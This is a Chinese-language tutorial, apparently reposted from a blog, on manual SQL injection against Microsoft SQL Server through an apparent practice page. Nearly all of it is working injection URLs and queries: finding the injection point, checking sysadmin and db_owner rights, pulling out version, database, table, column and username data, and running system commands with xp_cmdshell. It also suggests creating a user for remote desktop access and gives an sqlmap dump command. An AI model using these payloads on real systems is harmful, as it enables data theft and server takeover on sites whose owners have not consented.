MSSQL手工注入

一、手工注入

Step1:检测注入点

  通过payload检测   

  http://……/less-1.asp?id=1' and 1=1--

  http://……/less-1.asp?id=1' and 1=2--

Step2:判断数据库类型

  select * from sysobjects   (sysobjects 系统对象表,保存当前数据库的对象)

  select * from users where id=1 and exists(select * from sysobjects)    有结果说明该数据库是mssql

  http://……/less-1.asp?id=1' union select * from users where id=1 and exists(select * from sysobjects)--

Step3:注入点权限的判断(根据页面显示效果)

  select IS_SRVROLEMEMBER('sysadmin'); 判断当前是否为sa

  http://……/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('sysadmin'))>0--

  select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner)

  http://……/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('db_owner'))>0--

  select is_srvrolemember('public');判断是否有public权限,可以爆破表

  http://……/less-1.asp?id=1' and (select IS_SRVROLEMEMBER('public'))>0--

Step4:信息收集

  1‘ and (user)=1--

  当前数据库版本: select @@version    = 1  报错

  http://……/less-1.asp?id=1' and (select @@version)=1--

  当前用户:   user

  http://……/less-1.asp?id=1' and (user)=1--

  当前数据库:    select db_name()     

  http://……/less-1.asp?id=1' and (select db_name())=1--

    db_name(0) 当前数据库,其中的参数表示第几个数据库

    SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms'); 

      SELECT top 1 Name FROM Master..SysDatabases  在系统数据库中能够查询所有的数据库

      where name not in ('master','aspcms')    表示查找的结果不在括号中的集合中

Step5:当前数据库中的表

  select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0    获取第一个表名

  http://……/less-1.asp?id=1' and (select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0)=1--

  select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0 and name not in ('emails')   第二个表名

  http://……/less-1.asp?id=1' and (select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0 and name not in ('emails'))=1--

Step6:获取指定表的字段名

  select top 1 column_name from test.information_schema.columns where table_name='users'   获取第一个字段

  http://……/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users')=1--

  select top 1 column_name from test.information_schema.columns where table_name='users' and column_name not in ('id')   第二个字段

  http://……/less-1.asp?id=1' and (select top 1 column_name from test.information_schema.columns where table_name='users' and column_name not in ('id'))=1--

Step7:获取字段的数据

  select top 1 username from users

  http://……/less-1.asp?id=1' and (select top 1 username from users)=1--

Step8:解密数据,登录后台

二、MSSQL的 xp_cmdshell 模块

  select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'

  exec master..xp_cmdshell 'whoami'    //执行系统命令

  http://………….asp?id=1';exec master..xp_cmdshell 'whoami'--    //不显示执行结果

  如果想看到执行命令之后的结果:需要创建一个临时表,将执行结果写进去,最后再读

  也可以直接通过命令创建用户,通过远程桌面登录目标计算机

三、使用SQLMAP对MSSQL注入漏洞进行利用

  sqlmap.py -u “target_url” -dbs mssql --dump --force-pivoting

 

  

原文地址:https://www.cnblogs.com/yuanshu/p/11761185.html